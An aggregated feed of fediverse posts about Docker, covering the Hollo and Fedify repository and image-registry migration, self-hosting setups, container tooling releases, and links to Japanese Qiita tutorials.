ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
【🪙中級者向け】改めてDockerを深ぼる① ~ 仮想化の歴史について ~
https://qiita.com/ikemura-ren/items/b24d9eb497acfa48486a?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにこんにちは!ITスクールRareTECHにてCS(Customer Support)を担当している池村です。今回の記事はDockerの歴史についてです。今回の記事からはDockerの中級…
Use locally installed fonts in the LaTeX Docker container by mounting your fonts directory to /usr/local/share/fonts, e.g.
docker --volume=/usr/share/fonts:/usr/local/share/fonts pandoc/latex …
Should work with XeLaTeX and LuaLaTeX PDF engines as well as with the "typst" container.
🚀 Dive 0.14.0 has just been released with support for zstd compression in container image layers.
Thanks to Steven Halaka for contributing this feature!
> Dive is a tool for exploring each layer in a Docker image.
v0.14.0 Added Features support oci zstd compression [#53 @steven-halaka] Additional Changes update module github.com/docker/docker to v27.5.1+incompatible [#55 @renovate] update module github.co...
[rails] tailwindインストール時にexit code 127が出た時の対処法 [tailwind]
https://qiita.com/YamzknA/items/53478370761f716b068f?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめに昨日あたりからtailwindをインストールしようとすると以下のエラーが出るようになってしまいました。/bin/sh: 1: tailwindcss: not founderror C…
I've had a bit more of a poke at this now, the Dockerfile is installing a bunch of services and they're running when the container does.
Nothing's really integrated and talking to itself yet, that's the next step...
I got a little sidetracked by the fact that Pixelfed ships with its own docker-compose.yml but I can't figure out how to make sense of it.
https://codeberg.org/diffrentcolours/pixelfed_aio is where I've got to so far. Feel free to have a poke around, make improvements, or let me know what I've done wrong.
codeberg.org
A project to build an all-in-one Docker container for Pixelfed
Standing up @nodebb on #Docker with #MongoDB.
A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.
This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.
What suggested itself was an Internet forum.
https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/
marctrius.net
My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.
Standing up @nodebb on #Docker with #MongoDB.
A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.
This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.
What suggested itself was an Internet forum.
https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/
marctrius.net
My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.
Naming convention for #Podman --env-file?
Do you use .service.env, or .env.service.
Naming convention for #Podman --env-file?
Do you use .service.env, or .env.service.
Standing up @nodebb on #Docker with #MongoDB.
A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.
This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.
What suggested itself was an Internet forum.
https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/
marctrius.net
My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.
Apologies for the prolonged break. We're back with the announcement of fresh #Docker images for #pandoc 3.6.2.
https://hub.docker.com/u/pandoc
Had a bit of a play at building a #PixelFed #Docker container tonight. I'm planning a simple "all in one" build with nginx, MariaDB, php-fpm and Redis bundled under either runit or supervisord.
That should make it easier for people to play with spinning up their own instances. Should have something to show for this by the end of the weekend but there's some PHP / Laravel learning curve.
【Docker番外編①】DjangoのコンテナからMySQLのコンテナにアクセスできない?
https://qiita.com/ikemura-ren/items/13102ce6bdb31e55bf81?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにこんにちは!ITスクールRareTECHにてCS(Customer Support)を担当している池村です。今回の記事はDocker Composeでのコンテナ起動順のエラー解決についてで…
MacのDocker Desktopがマルウェアで開かない対応方法
https://qiita.com/topi_log/items/b65ea476e9da2d7a6155?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにかけだしのバックエンドエンジニアをしているとぴ(@topi_log)です。最近話題の「MacのDocker Desktopがマルウェア判定されて動かない」問題の解決方法の一つをご紹介しま…
Help from #podman or #docker users welcome!
We have started to offer open alpha access to a hosted Forgejo Actions CI runner. Unfortunately, there are many jobs that can crash the runner for every user reliably, and many users execute them inadvertently.
To save cost and disk wear, we want to keep temporary writes inside the CI builds in RAM and only store the images persistently.
However, the setup is apparently incorrect and we need help figuring it out.
codeberg.org
Currently, I am the only person actively maintaining the setup, with occasional help from some others for debugging. However, the setup turned out to be more complicated than I anticipated and I would be happy to receive assistance. The current setup looks like this: - LXC containers - roo...
Ruby3.1 ~ 3.4でDocker buildでpsychのインストールで失敗する
https://qiita.com/tatematsu-k/items/d68e19c8a90b2599baf2?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
起こったこと2025/01/15に突如Docker buildが動かなくなった。(Rubyのバージョンは3.4.1)利用していたのはruby-slimのイメージになります※ 正確にはdevel…
[🔰初心者向け]Dockerを初歩から学びたい方へ🐋 ~全9回~
https://qiita.com/ikemura-ren/items/b961642d55e4e6515203?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにこんにちは!ITスクールRareTECHにてCS(Customer Support)を担当している池村です。好きな技術はシェル周り全般、Go、Pythonはある程度書けます。最近はRust…
Docker Desktop for Macがエラーで起動できない件(#7527)についての情報
https://qiita.com/zembutsu/items/00e147cc1b97d89aaab6?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
要約Docker Desktop for Mac で更新後、「マルウェアがブロックされました」エラーが発生して起動できない問題が報告。最新版 v4.37.2 (2025/1/9夜リリース) で修正…
Docker Desktopがマルウェア扱いされてしまった時の対処
https://qiita.com/rena_n/items/f77a40bfd91872b68153?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめに2025年1月9日の朝パソコンを開いたらDocker Desktopがマルウェア扱いされ、警告文が出るという事象が起きました。身に覚えもなくびっくりしたのですが、SNSを見るとどうやら同…
The joke... it just wrote itself
#DevOps #PlatformEngineering #Docker #Containers #OCI #Cloud #Podman
改めてDockerを理解する⑥[Dockerのネットワークについて]
https://qiita.com/ikemura-ren/items/0e6071f26a847366e585?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにこんにちは!ITスクールRareTECHにてCS(Customer Support)を担当している池村です。今回の記事はDockerのネットワークについてです。ここは初学者にとってとてもつ…
Ça va trop loin la, foutre du docker pour un thème ...
#Docker
個人的・仲間内でセルフホストしているサービス 2022 - Google Workspaceから離脱するための検討ログ (2) - #Docker - Qiita
https://qiita.com/jqtype/items/ca576967ffa1a25e6e4a
qiita.com
別記事では、GoogleとIEEEの契約変更により、まともにGoogleApps@IEEEが利用できなくなったことと、その暫定回避策を模索しました。その後どうすべきかという検討を進め、やれるものは…
Blogged: Building LaTeX projects on Windows easily with Docker
https://andrewlock.net/building-latex-projects-on-windows-easily-with-docker/
In this post I describe how I build LaTeX projects on a Windows machine by using Docker and the blang/latex image
Nah, I'll stick with #docker compose

Portainer Home and Student Annual Subscription for Portainer Business for Home Users and Students. $149/yr Home and Student Includes - All Business Edition features. Restricted to non-commercial use. Max of 15 nodes. Community support. Requires Portainer version 2.18.4 or newer. Available for credit card purchase only. Subscription auto-renews. Please note if you are a business, we will revoke the license key. Home & Student licenses are not stackable with other licenses. All prices are in USD and exclude local, regional or national taxes.
#introduction
Hey there, I’m 0hlov3! 🎮👨💻 Just your friendly neighborhood gaming and tech nerd, trying to make life as comfy as my setup allows. I split my days between EndeavourOS and macOS, while nerding out over cool tech and sharing my random hobbies.
Yes, I’ve written intros before—because apparently, I have a knack for switching Fediverse instances like people change phone cases. 😅 This time, though, I promise: last move, cross my heart (unless I find a shinier domain... but let’s not go there).
Why am I here? Just chasing good vibes, tech chatter, and interesting conversations. Hope you’re all doing amazing! 🚀
Interests:
✨ #GoLang | 🐧 #Linux | ☸️ #Kubernetes | 🚀 #EndeavourOS
🛠️ #Docker | 📦 #Containerisation | 🎮 #LinuxGaming | ✍️ #Writing
Let’s connect and share some cool stuff! 😎
Switching from Portainer to Dockge
https://monjo.eu/switching-from-portainer-to-dockge/ #docker #portainer #dockge #devops #linux
I'm a senior backend engineer, did most stuff with #ruby. I like #linux know also #clang the usual scripting stuff, #python. I know a little bit #java did #openshift ( #kubernetes ) and #docker containers. My preferred database is #postgresql
Is someone searching for #vienna in #austria ? I mean finding a job should not be hard with that kind of profile, right?
Interesting read. Why Linus Torvalds struggles with #Docker : security is leaky; containers are not properly isolated. Modules are shared across containers. Etc... #Kubernetes solves some of this by enforcing security in orchestration. But not all of it. Need to take a deep dive into jails (@mwl). There's been a lot of movement lately in #FreeBSD with #podman. The security posture is greater with jails. But don't understand how.
[1] https://www.opensourceforu.com/2024/12/analysing-linus-torvalds-critique-of-docker/
Nifty new Docker build features
Happy **Container Base Image Update Day** to those who celebrate! 🎆
I’ve just switched from #portainer to #dockge. I was tired of Portainer issues with my docker compose files. Dockage is much more transparent and easy to use and let you interact directly with your compose.yaml files
#dev #docker
[ Kubernetes をローカルで試してみる #Docker - Qiita ]
https://qiita.com/coitate/items/cca2105e00ea5cae7dcc
There's a new article on my personal blog! A few weeks ago, I was tasked to create an #AWS #Lambda endpoint in #RustLang at work and needed to distribute it as a #Docker image to suit the current infrastructure and release flows. Since there was little information, I had to try a few things before I came to a working container image. The article describes the final solution I used.
beeb.li
In this short article, we go over a setup to distribute AWS Lambda endpoints written in the Rust programming language through Docker images instead of a zipped binary. This technique leverages the power of Cargo Lambda and multi-stage Docker builds.
This morning, a colleague noticed an issue with a Docker-based workload. I stepped in and checked—an upgrade hadn't migrated the database schema, and everything was failing. I manually ran the command in the container and resolved the issue.
The colleague couldn't understand what had happened. He asked me to explain, so I showed him the procedure.
Like many others, he was fascinated by how easily a "docker compose up -d" can set up a service, but this unfortunately hides complexities that, without adequate knowledge of what's underneath, can make the setup extremely fragile.
These tools are powerful, but we shouldn't make the mistake of thinking that understanding the underlying tools is no longer necessary.
I might replace my #homelab with a Mac Mini. Currently, I limit my home server to save power, but it has become noticeably slow. Additionally, my platform is quite unstable. While #MacOS might not be the ideal OS for server use, it would suit my needs. For #docker containers, I can use #orbstack, and Plex can run natively. I’d lose the ability to unionize my fs (like how Unraid combines disks), but I’m okay with that. On the plus side, I could finally use the native Backblaze client for backups.
I've written a guide to building a highly customisable, lightweight, secure, and performant static site using #MkDocs, #NGINX and #Docker: https://matthew-shaw.github.io/blog/2024/11/04/building-a-static-site-with-mkdocs-nginx-and-docker/
matthew-shaw.github.io
A guide to building a highly customisable, lightweight, secure, and performant static site using MkDocs, NGINX and Docker.
I’ve been annoyed enough with Dive not working on macOS properly that I (temporarily, at least that’s what I tell myself) forked the somewhat dormant upstream project and released a new version with some new features and bug fixes.
Please don’t let me regret it.
Release notes: https://github.com/joschi/dive/releases/tag/v0.13.1
For those of you having troubles with the migration of
#SaltProject to #Broadcom, and if you use #Docker, you can check https://github.com/cdalvaro/docker-salt-master for running salt-master containerized.
#SaltMaster #SaltStack #DevOps #Containers #Docker #IT #SaltAPI #Infrastructure #Podman
github.com
🐳🧂 Dockerized Salt Master - Boost your @saltstack master service with the power of @docker - cdalvaro/docker-salt-master
Am I the only one who doesn't really like configuring services with environment variables?
Backup your postgres database to Hetzner S3 Object Storage: https://blog.popescul.com/posts/2024-10-12-backup-postgresql-with-docker/ #postgresql #hetzner #docker
Siempre he tenido el hobby de administrar servidores. Y con el #Fediverso he visto otra oportunidad de retomarlo. Os presento la máquina dónde está alojada esta humilde instancia.
Un #ODroid HC4 de 4 núcleos y 4 GB de memoria con disco #SSD. Lo de al lado es mi router con #OpenWrt (con #Wireguard y #Adblock )
Para complementar también tiene un servidor #torrent con #Plex para ver en el #Chromecast 🏴☠️. Todo con #Docker.
Someone recently told me that it's a constant losing war of attrition to try to host your own mail server because you'll never have reliable delivery.
I'm not paying for anything and I want to use my domain for my email and it feels dumb to have that be the thing I have to pay for.
Was going to just spin up Docker Mailserver
I'd be using it for professional communications, admin for other hosted services, and sending newsletters.
Curious to hear first-hand experiences!
I guess I missed doing a short #introduction 😂
I’m a dad of a little son living in #Kerken, Germany 🇩🇪. As an engineer at the International IT of ALDI South I’m helping a lot of teams with automation, CI/CD etc. In former roles I worked as Cloud Solution Architect (#AWS) and #smalltalk developer/SA.
Besides #exploring the world with my family, I like creating stuff with computers, doing #selfhosting, #virtualization using #proxmox, #docker etc.
Currently I’m deeply into #mastodon 🎉
It's not a script mom, it's called a Dockerfile. I'm imperative now, and DON'T say "it's just a phase" again!
Dockerfiles tried to warn us - it says RUN FROM *right there*
I am a #linguist (non-tenure track, uni) interested in every single thing about #languages, esp #Indigenous ones, #academics & #teaching Side gig in #ComunityBased #LanguageTech (#webdev #React #postgres #hasura #graphQL #nodeJS #nginx #linux #podman #kubernetes #docker #unicode lol). I love #animals and will ask you too many questions about your #dogs #cats #horses #sheep #goats #chickens #bunnies #piggies #cows etc . Proud #UglyDogs fan. Love #nature #birds #photography #art 👋
#OxiTraffic, a self-hosted, simple and privacy respecting website traffic tracker 🌐
➡️ Demo: https://oxitraffic.mo8it.com
I just published version 0.6 with a #Docker image! 📦️
(You don't have to use Docker though)
Do you have a #blog?
I can host it for you if you want to test it with your website :blobcatheart:
Of course, it is written in #Rust 🦀
Check out the README, I spent a lot of time on it 😇
https://codeberg.org/mo8it/oxitraffic
Boost? 🔃🥰
#SelfHosted #IndieWeb #FOSS #Analytics #Traffic #RustLang #Axum
RunCVM: An open-source Docker runtime for launching container images in VMs
https://github.com/newsnowlabs/runcvm
Discussions: https://discu.eu/q/https://github.com/newsnowlabs/runcvm
If you want a really easy way to run @rolle excellent Bird-UI for #mastodon in #docker I've built an image for amd64 and arm64 that you can grab from #gitlab and dockerhub: https://gitlab.com/ric_harvey/docker-mastodon-bird-ui #mastoadmin
The requirements are:
- needs to work offline in #docker
- user scripts can load additional dependencies, that also need to work offline the next launch
- user can access script dir and write scripts with vscode. Version of reactive-home needs to match the current docker image version
- should be available on #jsr
I have an idea of how I can achieve this, but it is annoying to refactor and test because, at the end of the day, it needs to work again since it powers my #SmartHome haha
#deno
I really want to refactor parts of my reactive home project. But before I do that, I need to refactor the release flow and the packaging. I tried this once a few months ago, but failed miserably and reverted all commits. It is a #deno project which loads user defined scripts. And everything needs to run inside #docker. Currently, I just use http imports for that, but the image should work offline. This should be easy, right?
Self-hosting Mastodon server owners, did you install from source or docker?
Hacked together a script that helps compiling #Rust binaries on a remote host in a #Docker container. It goes roughly like this:
tar czf - $FILES | \
ssh remote docker run $ARGS rust:1.80 "$@" | \
tar xzvf - -C "$BIN_DIR"
And on the remote end there is a script running in a container doing tar/cargo/tar.
Every time I need to touch docker it is a struggle. I have no desire to learn everything about docker, but I would like to be more familiar with the ins and outs so that running stuff with docker isn't always such a pain.
Recommend me a good #docker crash course. Like 10 days of docker?
Few favourite apps are
* Memos (note taking) - https://github.com/usememos/memos
* Actual Budget - https://github.com/actualbudget/actual
* File Browser - https://github.com/filebrowser/filebrowser
* Speed Test Tracker - https://github.com/henrywhitaker3/Speedtest-Tracker
* Uptime Kuma - https://github.com/louislam/uptime-kuma
* Syncthing (file sync) - https://github.com/syncthing/syncthing
Haven't done web stuff for a while. Lately, I have been playing with #docker and #portainer stuff.
I have been enjoying thoroughly setting up different #selfhosted web apps!
🐳 If you are using the very, very old official PostgreSQL Docker image for PostgreSQL 8 (`postgres:8`), you might be interested in https://hub.docker.com/r/joschi/postgres8 which is a identical copy of the Docker image (`postgres:8`, `posgres:8.4`, `postgres:8.4.22`) which was still using the deprecated and planned for removal image manifest v2 schema 1 and "Docker Image v1" formats.
https://docs.docker.com/engine/deprecated/#pushing-and-pulling-with-image-manifest-v2-schema-1
I’m deep into building a #Pixelfed instance with a nice #Docker Compose option from @jippi and I realize I need to figure out the #hardware situation. I am going to #host this from my office closet. Does anyone have any #homelab tips or suggestions on how I should spec this out? #LinuxServer #containers #Linux #Computing #BOFH #neckbeard #nerdalert
Whoa, I've got bad news for you if you're relying on unverified #container images from #Docker Hub (and probably most other public image registries). :boost_ok:
Over a thousand Docker container images found hiding malicious content | TechRadar
https://www.techradar.com/news/over-a-thousand-docker-container-images-found-hiding-malicious-content
Home Lab achievement unlocked - I moved a docker container (IceShrimp.NET) from one server to another and nothing exploded!
I'm very proud, something I've never done before. :blobpats:
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
This is going to be fun, at least for the change in log output by default.
I really should move to #Podman.
hat jemand hier skill und bock, #computerkram in der mehlfabrik zu machen?
#windows clients, #linux server,
linux clients, #webserver, netzwerkkram, viel #mikrotik, ein wenig anderes zeug, ganz viel #proxmox und #zfs, ein wenig #docker (-compose), swarm, opnsense und anderer kram. manches 20 jahre alt, anderes #zukunftstechnologie von übermorgen.
details entstehen gerade, aber prinzipielles interesse gerne per an mich bekunden. Danke.
Mal ins blaue gefragt:
Hat ein Wesen hier schon mal #Docker #Swarm in der #HetznerCloud gebaut und betrieben?
Ebenjenes möge mich doch mal anpingen ;)
#followerpower :BoostOK: :ReplyOK:
My name is David. I'm a husband, and father of two very small #kids, and live in the Echo Park area of Los Angeles, California.
I'm a Lead Software Engineer @ Sweetgreen 🥗 focusing on Infrastructure (primarily AWS) and Site Reliability.
Ask me questions about #aws #docker #devops #sre #terraform. I love to teach and will do my best to respond.
